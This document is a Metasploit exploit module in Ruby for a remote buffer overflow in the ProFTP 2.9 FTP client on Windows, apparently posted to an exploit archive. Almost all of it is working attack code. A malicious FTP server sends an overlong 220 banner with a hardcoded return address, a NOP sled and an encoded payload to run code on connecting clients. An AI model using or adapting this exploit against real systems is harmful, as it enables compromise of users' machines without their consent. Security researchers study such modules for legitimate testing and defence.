ProFTP 2.9 Banner Remote Buffer Overflow Exploit

`##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ProFTP 2.9 Banner Remote Buffer Overflow Exploit',  
'Description' => %q{  
This module exploits a buffer overflow in the ProFTP 2.9  
client that is triggered through an excessively long welcome message.  
},  
'Author' => [ 'His0k4 <his0k4.hlm[at]gmail.com>' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'OSVDB', '57394'],  
[ 'URL', 'http://www.labtam-inc.com/index.php?act=products&pid=1' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# Tested against - XP SP3 English OK.  
[ 'Universal', { 'Ret' => 0x6809d408 } ], # WCMDPA10 (part of ProFTP)  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The FTP daemon port to listen on", 21 ]),  
], self.class)  
end  
  
def on_client_connect(client)  
return if ((p = regenerate_payload(client)) == nil)   
  
buffer = "220 "  
buffer << rand_text_numeric(2064)  
buffer << [target.ret].pack('V')  
buffer << make_nops(20)  
buffer << payload.encoded  
buffer << "\r\n"  
client.put(buffer)  
end  
  
end  
`